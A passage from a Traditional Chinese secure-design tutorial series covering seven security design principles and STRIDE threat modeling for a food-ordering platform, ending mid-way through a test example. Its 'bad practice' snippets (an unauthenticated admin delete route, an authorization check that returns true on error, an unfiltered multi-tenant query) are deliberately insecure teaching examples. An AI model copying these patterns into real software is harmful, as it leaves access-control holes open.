密碼學的 Kerckhoffs 原則早在 1883 年就說過:加密系統的安全性不應該依賴於演算法的保密,而應該依賴於金鑰的保密。同樣的道理,你的系統架構可以被公開審查,安全性來自於金鑰、密碼、Token 等「秘密」的保護,而非隱藏你用了什麼技術。

實際案例

不好的做法(靠隱藏) 好的做法(開放設計)
用自己發明的加密演算法 使用公開審查過的 AES-256
API 路徑用亂碼命名(<code>/x7k9m</code>)當作「安全」 正常命名(<code>/api/orders</code>)+ 嚴格的認證與授權
把 Admin 頁面藏在奇怪的 URL 就覺得沒人找得到 Admin 頁面正常路徑 + 強制登入 + IP 白名單 + MFA
原始碼混淆後就覺得不會被逆向工程 即使原始碼被看到,安全機制仍然有效
// ❌ Security through Obscurity(靠隱藏的假安全)
// 「把 Admin API 藏在奇怪路徑,應該沒人找得到吧」
app.post('/x7k9m2q/do-admin-stuff', (req, res) => {
  // 沒有任何身份驗證...
  deleteAllUsers();  // 😱
});

// ✅ Open Design(開放設計的真安全)
// 路徑很明確,但有層層保護
app.post('/api/admin/users/bulk-delete',
  authenticateToken,               // 驗證身份
  authorize('admin'),              // 確認是管理員
  requireMFA,                      // 強制多因素驗證
  validateIPWhitelist,             // IP 白名單
  rateLimitAdmin,                  // 速率限制
  auditLog('BULK_DELETE_USERS'),   // 稽核記錄
  async (req, res) => {
    // 即使攻擊者知道這個路徑,也過不了前面的關卡
  }
);

原則五:失敗安全(Fail Secure / Fail Safe)

蓋房子比喻:大樓停電時,門禁系統應該讓門保持「鎖上」狀態(除非是消防逃生門),而不是所有門都自動打開。

失敗安全的意思是:當系統發生錯誤、例外、或不預期的狀況時,應該回到安全的狀態,而不是開放的狀態。

為什麼重要?

系統一定會出錯。網路會斷、資料庫會掛、第三方服務會 timeout。關鍵是:出錯的時候,你的系統是「寧可拒絕服務」還是「寧可放行一切」?

台灣實戰場景

情境 失敗不安全(危險) 失敗安全(正確)
認證伺服器掛了 跳過認證,直接放行 拒絕所有請求,返回 503
權限檢查出錯 預設給予完整權限 預設拒絕存取
信用卡驗證 timeout 當作驗證成功,先出貨 當作驗證失敗,要求重試
WAF 發生錯誤 關閉 WAF,直接放行流量 阻擋所有流量,通知維運團隊
日誌系統滿了 停止記錄但繼續服務 發出告警,視情況限制服務

程式碼範例

// ❌ 失敗不安全:認證服務出錯時放行
async function checkAuthorization(userId, resource) {
  try {
    const result = await authService.check(userId, resource);
    return result.allowed;
  } catch (error) {
    console.log('Auth service error, allowing access...');
    return true;  // 😱 出錯就放行!
  }
}

// ✅ 失敗安全:出錯時預設拒絕
async function checkAuthorization(userId, resource) {
  try {
    const result = await authService.check(userId, resource);
    return result.allowed;
  } catch (error) {
    console.error('Auth service error:', error.message);
    await alertOpsTeam('AUTH_SERVICE_DOWN', { userId, resource });
    return false;  // 出錯就拒絕,寧可多擋不可少擋
  }
}
// ✅ 進階:加入降級策略
async function checkAuthorization(userId, resource) {
  try {
    return await authService.check(userId, resource);
  } catch (error) {
    // 第一層降級:嘗試本地快取
    const cachedResult = await localCache.get(<code class="kb-btn">auth:${userId}:${resource}</code>);
    if (cachedResult && cachedResult.timestamp > Date.now() - 300000) {
      console.warn('Using cached auth result (5 min validity)');
      return cachedResult.allowed;
    }

    // 第二層降級:拒絕並通知
    await alertOpsTeam('AUTH_SERVICE_DOWN', { userId, resource });
    return false;  // 最終還是拒絕
  }
}

原則六:完整調解(Complete Mediation)

蓋房子比喻:每次進出大樓都要刷門禁卡,不能因為「剛剛才刷過」就讓人免刷直接進——萬一門禁卡在這之間被偷了呢?

完整調解要求:每一次資源存取都必須經過授權檢查,不能因為之前檢查過就跳過。

為什麼重要?

很多系統只在「第一次請求」時做權限檢查,之後就靠 Session 或快取來放行。但使用者的權限可能在會話期間被變更(例如被降權、被停用),如果沒有每次都檢查,就可能出現「已被停權的帳號還能繼續操作」的情況。

程式碼範例

// ❌ 不好的做法:只在登入時檢查一次角色
app.post('/login', async (req, res) => {
  const user = await authenticate(req.body);
  const token = jwt.sign({ 
    userId: user.id, 
    role: user.role  // 角色寫死在 Token 裡
  }, SECRET, { expiresIn: '24h' });
  res.json({ token });
});

// 之後的 24 小時內,即使 user 被降權或停用,
// Token 裡的 role 不會改變...

// ✅ 好的做法:每次請求都重新查詢即時權限
const checkPermission = async (req, res, next) => {
  const tokenData = jwt.verify(req.headers.authorization, SECRET);

  // 每次都從資料庫查詢最新的角色和狀態
  const user = await db.query(
    'SELECT role, status FROM users WHERE id = $1',
    [tokenData.userId]
  );

  if (!user || user.status !== 'active') {
    return res.status(403).json({ error: '帳號已停用' });
  }

  // 用即時角色做權限判斷,不是 Token 裡的舊角色
  req.user = { id: tokenData.userId, role: user.role };
  next();
};

原則七:最小共享機制(Least Common Mechanism)

蓋房子比喻:住戶的信箱應該各自獨立,不應該共用一個大信箱——否則你的信件可能被鄰居拿走。

最小共享機制的原則是:不同使用者或不同模組之間,應該盡量減少共享的資源和機制。共享的東西越多,一個環節出問題影響的範圍就越大。

為什麼重要?

共享資源是安全事件的放大器。如果所有微服務共用同一組資料庫帳號,其中一個服務被入侵,攻擊者就拿到了所有服務的資料。如果所有租戶的資料放在同一張表,一個 SQL Injection 就可能洩漏所有租戶的資料。

台灣實戰場景:SaaS 平台的多租戶隔離

// ❌ 不好的做法:所有租戶共用一張表,靠 tenant_id 欄位區分
// 萬一有一個查詢忘了加 WHERE tenant_id = ?,就是全部外洩
app.get('/api/orders', async (req, res) => {
  // 開發者可能忘記加 tenant 過濾...
  const orders = await db.query('SELECT * FROM orders');  // 😱 全租戶資料外洩
  res.json(orders);
});

// ✅ 好的做法:每個租戶用獨立的 Schema 或資料庫
app.get('/api/orders', async (req, res) => {
  const tenantDb = getTenantConnection(req.tenant.id);
  // 即使忘了加過濾條件,也只能查到該租戶自己的資料
  const orders = await tenantDb.query('SELECT * FROM orders');
  res.json(orders);
});
// ✅ 如果必須共用資料表,用 Row-Level Security(RLS)作為安全網
// PostgreSQL RLS 設定範例
/*
  CREATE POLICY tenant_isolation ON orders
    USING (tenant_id = current_setting('app.current_tenant')::uuid);

  ALTER TABLE orders ENABLE ROW LEVEL SECURITY;
*/

// 每次查詢前設定 tenant context
app.use(async (req, res, next) => {
  await db.query(
    "SET app.current_tenant = $1",
    [req.tenant.id]
  );
  next();
});

三、七大原則速查表

原則 一句話解釋 蓋房子比喻 最常見的違反情境
最小權限 只給剛剛好的權限 水電工不需要萬能鑰匙 所有服務用同一個 root 帳號
縱深防禦 多層防禦,不靠單一措施 門鎖 + 監視器 + 保全 + 保險箱 只靠 WAF 就覺得安全了
預設安全 出廠就是安全的 新房子交屋門窗是鎖的 Debug 模式預設開啟上線
開放設計 安全不靠隱藏 好鎖不怕你知道廠牌 用自創加密演算法
失敗安全 出錯時回到安全狀態 停電時門保持上鎖 認證服務掛了就跳過驗證
完整調解 每次存取都要檢查 每次進大樓都要刷卡 權限寫死在 Token 裡不更新
最小共享 減少共用資源 住戶信箱各自獨立 所有租戶共用一組 DB 帳號

四、實戰案例:用七大原則設計台灣線上訂餐平台

讓我們用一個完整的案例,示範如何在設計階段就把七大原則融入系統架構。

場景描述

你的團隊要為一間連鎖餐飲集團設計線上訂餐平台,功能包含:顧客瀏覽菜單與下單、店家管理訂單與菜單、外送員接單與回報配送狀態、總部查看營運報表。

套用七大原則

1. 最小權限 → 角色與權限設計

顧客:   瀏覽菜單(R) + 建立訂單(C) + 查看自己的訂單(R)
店家:   管理自家菜單(CRUD) + 查看自家訂單(R) + 更新訂單狀態(U)
外送員: 查看待接訂單(R) + 更新配送狀態(U)
總部:   查看報表(R) + 管理店家帳號(CRUD)

❌ 店家不能看到其他店的訂單
❌ 外送員不能修改訂單金額
❌ 總部不能直接操作訂單

2. 縱深防禦 → 訂單流程的多層保護

【下單】 → 前端輸入驗證 → API Gateway 速率限制 → JWT 身份驗證
       → 後端輸入驗證 → 庫存檢查 → 價格伺服器端計算(不信任前端金額)
       → 金流驗證 → 訂單寫入 → 稽核日誌

3. 預設安全 → 系統出廠設定

// 新開的店家帳號,預設功能是限縮的
const DEFAULT_STORE_CONFIG = {
  maxOrderPerHour: 50,        // 預設限制每小時訂單量
  allowCashOnDelivery: false, // 預設不開放貨到付款(風險較高)
  autoAcceptOrder: false,     // 預設需手動接單
  apiRateLimit: 100,          // API 每分鐘上限
  allowBulkExport: false      // 預設不允許批量匯出顧客資料
};
// 需要的功能,由總部審核後逐一開啟

4. 開放設計 → 不靠隱藏保安全

✅ API 文件公開(Swagger/OpenAPI),但每個端點都有認證
✅ 使用標準加密(AES-256, bcrypt),不自創演算法
✅ 即使競爭對手看到 API 規格,也無法繞過認證機制

5. 失敗安全 → 金流異常處理

async function processPayment(order) {
  try {
    const result = await paymentGateway.charge(order.amount);
    if (result.status === 'success') {
      await updateOrderStatus(order.id, 'PAID');
      return { success: true };
    }
  } catch (error) {
    // 金流異常 → 訂單保持「未付款」,不會出餐
    await updateOrderStatus(order.id, 'PAYMENT_FAILED');
    await notifyCustomer(order.customerId, '付款失敗,請重試');
    await logPaymentError(order.id, error);
    return { success: false, error: '付款處理失敗' };
    // 絕不在金流失敗時當作成功
  }
}

6. 完整調解 → 每次 API 呼叫都驗證

// 中介軟體:每個請求都查即時權限
app.use('/api/store/:storeId/*', async (req, res, next) => {
  const user = await getCurrentUser(req);

  // 即時查詢:這個人現在是否仍有權限操作這間店?
  const hasAccess = await db.query(
    `SELECT 1 FROM store_members 
     WHERE user_id = $1 AND store_id = $2 AND status = 'active'`,
    [user.id, req.params.storeId]
  );

  if (!hasAccess) {
    return res.status(403).json({ error: '無權存取此店家資料' });
  }
  next();
});

7. 最小共享 → 店家資料隔離

// 每間店家的訂單、菜單、顧客資料都用 store_id 嚴格隔離
// 搭配 PostgreSQL RLS,即使程式碼有 bug 也不會跨店洩漏
/*
  CREATE POLICY store_isolation ON orders
    USING (store_id = current_setting('app.current_store')::uuid);
*/

五、安全設計審查 Checklist

設計完系統架構後,用這份 Checklist 確認七大原則是否都有照顧到:

## 安全設計原則審查 Checklist

### 最小權限
- [ ] 每個角色的權限是否有明確定義?
- [ ] 是否存在「萬能帳號」或「共用帳號」?
- [ ] 服務間的 API Key 是否各自獨立、權限最小化?
- [ ] 資料庫帳號是否依讀/寫分離?

### 縱深防禦
- [ ] 從使用者到資料庫,是否有至少三層以上的安全檢查?
- [ ] 如果其中一層被突破,是否還有其他層能擋住?
- [ ] 是否有監控和告警機制作為最後一道防線?

### 預設安全
- [ ] 系統預設設定是否已是安全狀態?
- [ ] Debug 模式、詳細錯誤訊息是否在 Production 確認關閉?
- [ ] Cookie、CORS、HTTP 標頭的預設值是否安全?

### 開放設計
- [ ] 安全機制是否不依賴隱藏路徑或自創演算法?
- [ ] 即使攻擊者知道系統架構,安全機制是否仍然有效?

### 失敗安全
- [ ] 認證/授權服務失敗時,系統是否預設拒絕?
- [ ] 金流/支付異常時,是否回到安全狀態(不出貨、不扣款)?
- [ ] 外部服務 timeout 時,是否有合理的降級策略?

### 完整調解
- [ ] 每次 API 呼叫是否都有即時的權限檢查?
- [ ] 使用者被停權後,現有的 Session/Token 是否會失效?

### 最小共享
- [ ] 不同租戶/使用者的資料是否有適當隔離?
- [ ] 不同服務是否使用各自獨立的帳號和權限?
- [ ] 是否有機制防止跨租戶的資料存取?

六、團隊落地建議

建議一:在設計文件中加入「安全設計決策紀錄」

每次做架構設計時,在設計文件中加一個段落,記錄你應用了哪些安全設計原則,以及為什麼這樣設計。

## 安全設計決策

### 決策 1:訂單查詢 API 採用即時權限檢查(完整調解原則)
- **決策**:每次查詢訂單都從 DB 即時查詢權限,不用 Token 中的靜態角色
- **原因**:店長可能臨時被撤換,需要即時生效
- **代價**:每次 API 呼叫多一次 DB 查詢
- **緩解**:用 Redis 快取權限,TTL 5 分鐘

### 決策 2:金流失敗時訂單保持未確認狀態(失敗安全原則)
- **決策**:付款 API 任何非成功回應,訂單都回到「未付款」
- **原因**:寧可少出一張單,也不能多出一張沒付錢的單
- **代價**:可能有少數正常交易被誤判為失敗
- **緩解**:提供顧客手動重試付款的功能

建議二:用 Threat Model 驅動設計原則的選擇

上一篇學的 STRIDE 威脅建模,和這一篇的設計原則是互補的:

STRIDE 威脅 最相關的設計原則
Spoofing(假冒) 完整調解、失敗安全
Tampering(竄改) 縱深防禦、完整調解
Repudiation(否認) 完整調解(稽核日誌)
Information Disclosure(洩露) 最小權限、最小共享
Denial of Service(阻斷服務) 縱深防禦、失敗安全
Elevation of Privilege(提權) 最小權限、預設安全

建議三:每個 Sprint 挑一個原則深化

不需要一次把七個原則全部做到滿分。建議每個 Sprint 挑一個原則作為重點:

Sprint 1:盤點所有帳號權限,落實最小權限
Sprint 2:檢查所有 catch 區塊,確保失敗安全
Sprint 3:審查所有預設設定,確保預設安全
Sprint 4:檢查 API 權限檢查是否有遺漏(完整調解)
...

逐步改善,比一次到位更務實。


七、常見問題 FAQ

Q1:七大原則之間會不會互相衝突?

會的,而且很常見。例如「完整調解」要求每次都做權限檢查,但太頻繁的檢查會影響效能,這跟使用者體驗的需求衝突。又例如「最小共享」建議資源隔離,但隔離越徹底,基礎設施成本越高。

安全設計的藝術就在於取捨(trade-off)。關鍵是:把取捨記錄下來,讓團隊理解「我們為什麼這樣選」。用上面提到的「安全設計決策紀錄」來追蹤每個決策的原因和代價。

Q2:我們是小團隊,哪些原則應該優先?

如果你的團隊資源有限,建議優先落實這三個:

  1. 預設安全:成本最低,效果最大。確保框架和工具的預設設定是安全的,一勞永逸。
  2. 最小權限:花一個下午盤點帳號權限,把過大的權限收回來。
  3. 失敗安全:檢查所有 <code>catch</code> 和 <code>else</code> 分支,確保異常時不會開後門。

這三個做好,已經能擋住大部分常見攻擊了。

Q3:這些原則跟 OWASP Top 10 有什麼關係?

OWASP Top 10 列的是「常見的漏洞類型」,安全設計原則是「預防漏洞的設計哲學」。它們的關係是:如果你在設計階段就遵循這些原則,很多 OWASP Top 10 的漏洞根本不會出現。

例如:遵循「最小權限」可以預防 A01:2021 — Broken Access Control(權限控制失效);遵循「預設安全」可以預防 A05:2021 — Security Misconfiguration(安全設定錯誤);遵循「失敗安全」可以預防 A07:2021 — Identification and Authentication Failures(認證失效)的部分情境。

Q4:我要怎麼說服 PM 或老闆投入時間在安全設計上?

用錢說話。IBM 的研究顯示,在設計階段修復安全問題的成本,只有上線後的 1/30 到 1/100。你可以用這個方式呈現:

「我們現在花 2 天做安全設計審查,等於省下上線後 2 個月的修補工作。你選哪個?」

另外,如果你的客戶是金融業或上市櫃公司,「資通安全管控指引」已經要求系統開發需求規格須納入資安要求——這不是你想不想做,而是客戶要求你必須做。


八、結語:好的設計,讓安全變成自然而然的事

回到蓋房子的比喻。你見過哪棟安全的建築,是蓋好之後才在外面綁一堆鐵絲網和沙袋的?真正安全的建築,安全就在結構裡——承重牆的位置、逃生梯的動線、防火區劃的規劃,這些都是在藍圖階段就決定的。

軟體系統也是一樣。七大安全設計原則不是「額外要做的事」,而是「設計時本來就該想的事」。當你養成用這些原則思考的習慣,你會發現很多安全問題在設計階段就被自然地避免了——根本不需要等到測試或上線才來亡羊補牢。

就像前幾篇一直在說的:安全不是恐懼,而是創造的基礎。好的安全設計不會限制你的創造力,反而會給你一個穩固的平台,讓你可以放心地在上面蓋出更大、更好、更有價值的東西。

下一篇,我們會繼續深入安全設計階段的另一個重要主題——認證與授權架構設計:從密碼到 Zero Trust。在你掌握了設計原則之後,我們來看看如何設計一個「確認你是誰」和「決定你能做什麼」的系統。


延伸閱讀

[安全設計] 001 威脅建模入門:用 STRIDE 找出系統弱點|DFD 資料流程圖與信任邊界實戰教學

「好的建築師不只想像住戶怎麼生活,也會想像小偷怎麼闖入。」— SSDLC by 飛飛

在 SSDLC 的旅程中,我們已經走過了「階段一:安全需求定義」,學會了怎麼用 Abuse Case 和安全驗收標準來定義「系統該防什麼」。現在,我們要進入階段二:安全設計——在畫建築藍圖的時候,就把消防通道、監視器位置、保全系統標清楚。

而安全設計的第一步,就是威脅建模(Threat Modeling)

威脅建模是什麼?簡單說,就是在系統還沒蓋好之前,先用攻擊者的眼光把整個設計看一遍,找出哪裡可能被攻擊、哪裡最脆弱、哪裡需要加強防護。

今天要介紹的 STRIDE,是微軟在 1999 年提出的威脅分類模型,也是目前業界最廣泛使用的威脅建模方法之一。它用六個英文字母,幫你系統化地思考所有可能的威脅類型。


為什麼需要威脅建模?不做會怎樣?

先說一個真實場景。

假設你正在開發一個台灣的線上訂餐平台。功能需求很清楚:使用者可以瀏覽餐廳、下訂單、線上付款、追蹤外送進度。你的團隊很認真地寫了使用者故事、做了 UI 設計、選好了技術架構。

然後上線了。

三個月後,有人發現:

  • 改一下 URL 裡的訂單編號,就能看到別人的訂單明細(包含地址和電話)
  • 外送員的 API 沒有做權限檢查,任何人都能呼叫「標記已送達」
  • 付款完成的通知用 HTTP 而不是 HTTPS,中間人可以攔截並偽造付款結果

這些問題,不是「程式寫錯」,而是設計階段就沒想到

飛飛觀點:
威脅建模不是在找 bug,而是在找「設計盲點」。Bug 是寫錯了,盲點是根本沒想到。修 bug 改幾行程式碼就好,修盲點可能要改整個架構。這就是為什麼威脅建模要在設計階段做——越早發現,修復成本越低。

如果用蓋房子的比喻:功能設計是決定「房間怎麼隔」,威脅建模是檢查「小偷從哪裡進來」。你不會等房子蓋好才想「咦,一樓窗戶是不是該裝鐵窗」,對吧?


STRIDE 是什麼?六個字母,六種威脅

STRIDE 是六種威脅類型的首字母縮寫,每一個字母代表攻擊者可能做的一類壞事:

字母 威脅類型 英文全名 一句話解釋 生活比喻
S 身分冒用 Spoofing 假裝是別人 有人拿假身分證冒充你去銀行領錢
T 資料竄改 Tampering 偷偷修改資料 有人改了你的考卷答案
R 否認行為 Repudiation 做了壞事卻說「不是我」 鄰居偷倒垃圾卻說「我沒有」,而且沒監視器能證明
I 資訊洩露 Information Disclosure 看到不該看的資料 有人翻了你的日記
D 阻斷服務 Denial of Service 讓系統無法正常運作 有人故意堵住餐廳門口,讓客人進不來
E 權限提升 Elevation of Privilege 用低權限做高權限的事 實習生拿到總經理的辦公室鑰匙

這六種威脅基本上涵蓋了大部分的攻擊模式。讓我們用前面的訂餐平台,逐一看看每種威脅長什麼樣子。


S — Spoofing 身分冒用:「你確定他是他嗎?」

攻擊情境:攻擊者偽造或竊取使用者的身分,以該使用者的名義進行操作。

訂餐平台範例

  • 攻擊者取得某使用者的 JWT Token,冒充該使用者下訂單並用其儲存的信用卡付款
  • 攻擊者架設一個假的「訂餐平台登入頁」(釣魚網站),騙使用者輸入帳號密碼
  • 外送員用別人的帳號登入,領取不屬於自己的配送任務

對應的安全屬性:認證(Authentication)

防禦方向:多因素驗證(MFA)、Token 過期與刷新機制、防止 Session Fixation


T — Tampering 資料竄改:「資料還是原本的嗎?」

攻擊情境:攻擊者在傳輸途中或儲存端修改資料。

訂餐平台範例

  • 攻擊者攔截訂單請求,將金額從 NT$350 改成 NT$1
  • 攻擊者修改外送地址,把餐點送到自己家
  • 攻擊者竄改資料庫中的評價紀錄,將一星評價改成五星

對應的安全屬性:完整性(Integrity)

防禦方向:HTTPS 傳輸加密、數位簽章、資料庫寫入稽核、請求參數伺服器端驗證


R — Repudiation 否認行為:「你能證明是他做的嗎?」

攻擊情境:使用者或攻擊者否認自己曾經執行過某項操作,而系統無法提供證據。

訂餐平台範例

  • 消費者下了訂單又退貨,聲稱「我從來沒下過這筆訂單」
  • 餐廳老闆收到客訴,卻說「我們沒有收到那張訂單」
  • 外送員宣稱已送達,但消費者說沒收到,而系統沒有送達時的 GPS 紀錄或照片

對應的安全屬性:不可否認性(Non-repudiation)

防禦方向:完整的操作日誌(Audit Log)、時間戳記、數位簽章、關鍵操作需要二次確認


I — Information Disclosure 資訊洩露:「這些資料你該看嗎?」

攻擊情境:未經授權的人取得敏感資訊。

訂餐平台範例

  • 改 URL 中的訂單 ID 就能看到別人的訂單,包含姓名、電話、地址
  • API 錯誤回應中洩漏資料庫結構(如:<code>ERROR: column "user_password" does not exist</code>)
  • 外送員的 API 回傳了消費者的完整信用卡號碼(應該只顯示後四碼)

對應的安全屬性:機密性(Confidentiality)

防禦方向:存取控制(確認資料所有權)、敏感資料遮罩、錯誤訊息統一化、最小化 API 回應欄位


D — Denial of Service 阻斷服務:「系統還活著嗎?」

攻擊情境:攻擊者讓系統無法正常服務合法使用者。

訂餐平台範例

  • 攻擊者用自動化腳本在用餐尖峰時段發送數萬筆假訂單,癱瘓訂單處理系統
  • 攻擊者對搜尋功能發送超複雜的查詢條件,拖慢資料庫回應時間
  • 攻擊者反覆呼叫「忘記密碼」功能,導致簡訊服務費用暴增(經濟型 DoS)

對應的安全屬性:可用性(Availability)

防禦方向:Rate Limiting、Request 大小限制、佇列機制、CDN 與 DDoS 防護、費用告警


E — Elevation of Privilege 權限提升:「你有權限做這件事嗎?」

攻擊情境:攻擊者從低權限角色獲取高權限操作能力。

訂餐平台範例

  • 一般使用者透過修改 API 請求參數,將自己的角色從 <code>customer</code> 改為 <code>admin</code>
  • 外送員帳號透過 API 直接存取後台管理介面,修改餐廳資訊
  • 攻擊者利用 Node.js 的 Prototype Pollution 漏洞,注入 <code>isAdmin: true</code> 屬性

對應的安全屬性:授權(Authorization)

防禦方向:伺服器端權限檢查(不信任前端傳來的角色)、RBAC 權限模型、輸入物件白名單驗證


飛飛觀點:
STRIDE 不是要你記住六個英文單字,而是給你一個「思考的框架」。下次設計功能時,不用再對著空白頁面想「會有什麼攻擊?」,而是可以按照 S-T-R-I-D-E 的順序逐一檢查。有框架比沒框架好,不完美的威脅建模也遠勝過完全不做。


威脅建模的核心工具:資料流程圖(DFD)

知道了六種威脅類型之後,下一個問題是:「我該對『什麼東西』做 STRIDE 分析?」

答案是:資料流程圖(Data Flow Diagram,DFD)

DFD 不是那種複雜到讓人想睡覺的 UML 圖。它只有四種元素,畫起來非常直覺:

元素 符號 說明 範例
外部實體(External Entity) 矩形 系統之外的人或系統 使用者、第三方支付閘道、外送員 App
處理程序(Process) 圓形 系統內處理資料的元件 訂單服務、認證服務、通知服務
資料儲存(Data Store) 兩條平行線 資料存放的地方 使用者資料庫、訂單資料庫、Redis 快取
資料流(Data Flow) 箭頭 資料的流動方向 登入請求、訂單資料、付款結果通知

實戰:畫出訂餐平台的 DFD

以訂餐平台的「下訂單」功能為例,DFD 大概長這樣:

                        ┌─────────────┐
                        │  信任邊界    │
┌──────────┐           │┌───────────┐│         ┌──────────────┐
│          │  訂單請求  ││           ││ 查詢菜單 │              │
│  使用者   │──────────→││  訂單服務  ││────────→│  餐廳資料庫   │
│ (瀏覽器)  │           ││           ││         │              │
│          │←──────────││           ││←────────│              │
└──────────┘  訂單確認  ││           ││ 菜單資料 └──────────────┘
                       ││           ││
                       ││           ││ 建立訂單  ┌──────────────┐
                       ││           ││────────→│  訂單資料庫   │
                       ││           ││         │              │
                       │└─────┬─────┘│         └──────────────┘
                       │      │      │
                       │      │付款請求
                       │      ↓      │
                       │┌───────────┐│
                       ││  付款服務  ││
                       │└─────┬─────┘│
                       └──────│──────┘
                              │ API 呼叫
                              ↓
                       ┌─────────────┐
                       │ 第三方支付閘道│
                       │ (綠界/藍新)  │
                       └─────────────┘

畫 DFD 的時候,有幾個原則要注意:

原則一:從使用者的角度出發
先想使用者會做什麼操作,資料從哪裡進來、經過哪些處理、最後存到哪裡。

原則二:一次只畫一個功能流程
不要試圖把整個系統畫在一張圖上。登入是一張、下訂單是一張、退款是一張。這樣才能聚焦分析。

原則三:標示清楚每條資料流的內容
不要只畫箭頭,要寫上「這條線上跑的是什麼資料」。例如:「JWT Token」、「訂單明細(含地址、電話)」、「信用卡 Token」。這會幫助你判斷哪條資料流最敏感。


信任邊界:威脅建模最關鍵的一條線

如果 DFD 是威脅建模的地圖,那信任邊界(Trust Boundary)就是地圖上最重要的那條線。

信任邊界是什麼?就是不同信任等級之間的分界線

用一個更直覺的比喻:想像你家的大門。門外是公共空間,什麼人都可能經過;門內是你的私人空間,只有你信任的人才能進來。那道門,就是信任邊界。

在軟體系統中,常見的信任邊界包括:

信任邊界 低信任側 高信任側 跨越邊界的資料
瀏覽器 ↔ 後端 API 使用者的瀏覽器(不可信) 你的伺服器 HTTP 請求、Cookie、JWT
後端 ↔ 資料庫 應用程式層 資料層 SQL 查詢、資料回傳
內部服務 ↔ 外部 API 你的系統 第三方服務(部分信任) API 呼叫、Webhook 回調
使用者角色之間 一般使用者 管理員 權限檢查、操作授權
容器 ↔ 主機 容器內的應用 主機作業系統 系統呼叫、檔案存取

為什麼信任邊界這麼重要?

因為大部分的攻擊都發生在信任邊界上

攻擊者的目標,就是找到那條線,然後想辦法跨越它:從不被信任的一側,滲透到被信任的一側。

回到訂餐平台的例子:

  • 瀏覽器 → API:攻擊者可以自由修改瀏覽器送出的請求(竄改訂單金額、偽造身分)
  • API → 資料庫:如果 API 沒有做好輸入驗證,攻擊者的惡意輸入會直接到達資料庫(SQL Injection)
  • API → 第三方支付:如果回調通知沒有驗證簽章,攻擊者可以偽造「付款成功」的通知

飛飛觀點:
在 DFD 上標示信任邊界後,把注意力集中在每一條「穿越信任邊界的資料流」上——這些就是你最需要做 STRIDE 分析的地方。不需要對圖上的每一條線都做完整分析,先守住邊界,就能防住大部分攻擊。


實戰演練:對訂餐平台做完整的 STRIDE 分析

理論講完了,我們來實際操作一次。以下用台灣訂餐平台的「使用者下訂單」功能,走一遍完整的 STRIDE 分析流程。

步驟一:畫出 DFD(上面已經畫好了)

步驟二:標示信任邊界

在我們的 DFD 中,主要的信任邊界有三條:

  1. 使用者瀏覽器 ↔ 後端 API(最外層邊界)
  2. 訂單服務 ↔ 付款服務(內部服務間)
  3. 付款服務 ↔ 第三方支付閘道(系統 ↔ 外部系統)

步驟三:對每條跨邊界的資料流做 STRIDE 分析

以下是分析結果,整理成一張威脅清單表格:

編號 資料流 STRIDE 威脅描述 風險等級 緩解措施
T-01 使用者 → 訂單服務 S 身分冒用 攻擊者竊取 JWT 冒充使用者下單 Token 短效期 + Refresh Token + 裝置綁定
T-02 使用者 → 訂單服務 T 資料竄改 攻擊者竄改請求中的商品價格或數量 伺服器端重新查詢價格,不信任前端傳值
T-03 使用者 → 訂單服務 I 資訊洩露 透過遍歷訂單 ID 取得他人訂單資訊 使用 UUID 取代流水號 + 所有權驗證
T-04 使用者 → 訂單服務 D 阻斷服務 大量送出假訂單癱瘓系統 Rate Limiting + CAPTCHA + 訂單佇列
T-05 使用者 → 訂單服務 E 權限提升 修改請求將自己角色改為管理員 伺服器端從 Token 解析角色,不接受前端傳值
T-06 訂單服務 → 訂單 DB T 資料竄改 SQL Injection 修改訂單資料 參數化查詢(ORM)
T-07 訂單服務 → 訂單 DB I 資訊洩露 錯誤訊息洩漏資料庫結構 統一錯誤回應格式
T-08 付款服務 → 金流閘道 S 身分冒用 攻擊者偽造回調通知假裝付款成功 驗證回調簽章 + 白名單 IP
T-09 訂單服務 R 否認行為 使用者聲稱未下過訂單 完整 Audit Log + 操作前確認頁面
T-10 付款服務 → 金流閘道 T 資料竄改 中間人竄改付款金額 HTTPS + 金額簽章驗證

步驟四:排定優先順序

不需要一次解決所有威脅。根據「風險等級」和「修復難度」來排序:

第一優先(高風險 + 容易修):T-02(價格驗證)、T-06(SQL Injection)、T-07(錯誤訊息)
第二優先(高風險 + 需要設計):T-01(Token 安全)、T-03(訂單隔離)、T-08(回調驗證)
第三優先(中風險 + 持續改善):T-04(DoS 防護)、T-09(Audit Log)


把威脅轉化為安全驗收標準

威脅建模的產出不應該只是一份文件——它應該變成可測試的安全驗收標準。這就是跟上一篇「安全需求規格書」的銜接點。

以 T-02(價格竄改)和 T-03(訂單資訊洩露)為例:

# T-02 對應的安全驗收標準
Feature: 訂單金額完整性保護

  Scenario: 前端傳送的商品價格不被信任
    Given 商品 A 在資料庫中的價格為 NT$350
    When 使用者送出訂單且請求中的商品價格被竄改為 NT$1
    Then 系統應以資料庫中的價格 NT$350 計算訂單金額
    And 不應採用前端傳送的價格

  Scenario: 訂單金額與商品價格一致
    Given 使用者將 2 份商品 A(NT$350)和 1 份商品 B(NT$200)加入購物車
    When 送出訂單
    Then 訂單金額應為 NT$900
    And 各品項金額應與資料庫即時價格一致
# T-03 對應的安全驗收標準
Feature: 訂單資料存取隔離

  Scenario: 使用者只能存取自己的訂單
    Given 使用者 A 有一筆訂單 ID 為 "order-uuid-123"
    And 使用者 B 已登入系統
    When 使用者 B 嘗試存取 GET /api/orders/order-uuid-123
    Then 系統應回傳 403 Forbidden
    And 回應中不應包含任何訂單資料

  Scenario: 訂單 ID 不可被遍歷
    Given 系統中存在多筆訂單
    When 攻擊者嘗試遍歷 GET /api/orders/1, /api/orders/2, /api/orders/3
    Then 系統應回傳 404 Not Found(不洩漏訂單是否存在)

對應的自動化測試範例:

// T-02: 價格竄改防護測試
describe('T-02: 訂單金額完整性', () => {
  it('應忽略前端傳送的價格,使用資料庫價格計算', async () => {
    const token = await loginAs('customer@example.com');

    // When: 送出訂單,但商品價格被竄改
    const response = await request(app)
      .post('/api/orders')
      .set('Authorization', <code class="kb-btn">Bearer ${token}</code>)
      .send({
        items: [
          { product_id: 'prod-001', quantity: 2, price: 1 }  // 竄改價格為 NT$1
        ]
      });

    // Then: 訂單金額應以資料庫價格計算
    expect(response.status).toBe(201);
    expect(response.body.total_amount).toBe(700); // 資料庫價格 NT$350 × 2
    expect(response.body.total_amount).not.toBe(2); // 不是竄改後的 NT$1 × 2
  });
});

// T-03: 訂單存取隔離測試
describe('T-03: 訂單資料隔離', () => {
  it('不應存取其他使用者的訂單', async () => {
    const tokenA = await loginAs('customer_a@example.com');
    const tokenB = await loginAs('customer_b@example.com');

    // Given: 使用者 A 建立一筆訂單
    const orderResponse = await request(app)
